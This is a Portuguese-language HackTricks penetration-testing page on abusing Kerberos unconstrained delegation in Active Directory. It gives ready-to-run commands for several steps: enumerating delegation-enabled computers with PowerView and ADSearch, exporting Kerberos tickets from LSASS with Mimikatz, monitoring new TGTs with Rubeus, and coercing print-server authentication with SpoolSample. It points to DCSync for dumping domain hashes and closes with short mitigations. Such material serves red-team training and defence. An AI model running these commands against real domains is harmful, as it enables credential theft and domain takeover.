Delegação Inconstrangida

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Confira os planos de assinatura!
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.

{% endhint %}

Delegação inconstrangida

Esta é uma funcionalidade que um Administrador de Domínio pode definir para qualquer Computador dentro do domínio. Assim, sempre que um usuário fizer login no Computador, uma cópia do TGT desse usuário será enviada dentro do TGS fornecido pelo DC e salva na memória no LSASS. Portanto, se você tiver privilégios de Administrador na máquina, poderá extrair os tickets e se passar pelos usuários em qualquer máquina.

Assim, se um administrador de domínio fizer login em um Computador com a funcionalidade "Delegação Inconstrangida" ativada, e você tiver privilégios de administrador local nessa máquina, poderá extrair o ticket e se passar pelo Administrador de Domínio em qualquer lugar (privesc de domínio).

Você pode encontrar objetos de Computador com este atributo verificando se o atributo userAccountControl contém ADS_UF_TRUSTED_FOR_DELEGATION. Você pode fazer isso com um filtro LDAP de ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, que é o que o powerview faz:

# Listar computadores inconstrangidos
## Powerview
Get-NetComputer -Unconstrained #DCs sempre aparecem, mas não são úteis para privesc
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Exportar tickets com Mimikatz
privilege::debug
sekurlsa::tickets /export #Forma recomendada
kerberos::list /export #Outra forma

# Monitorar logins e exportar novos tickets
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Verifique a cada 10s por novos TGTs

Carregue o ticket de Administrador (ou usuário vítima) na memória com Mimikatz ou Rubeus para um Pass the Ticket.
Mais informações: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
Mais informações sobre Delegação Inconstrangida em ired.team.

Forçar Autenticação

Se um atacante conseguir comprometer um computador permitido para "Delegação Inconstrangida", ele poderia enganar um servidor de impressão para fazer login automaticamente contra ele salvando um TGT na memória do servidor.
Então, o atacante poderia realizar um ataque Pass the Ticket para se passar pela conta de computador do usuário do servidor de impressão.

Para fazer um servidor de impressão fazer login em qualquer máquina, você pode usar SpoolSample:

.\SpoolSample.exe <printmachine> <unconstrinedmachine>

Se o TGT for de um controlador de domínio, você pode realizar um ataque DCSync e obter todos os hashes do DC.
Mais informações sobre este ataque em ired.team.

Aqui estão outras maneiras de tentar forçar uma autenticação:

{% content-ref url="printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

Mitigação

Limitar logins de DA/Admin a serviços específicos
Definir "Conta é sensível e não pode ser delegada" para contas privilegiadas.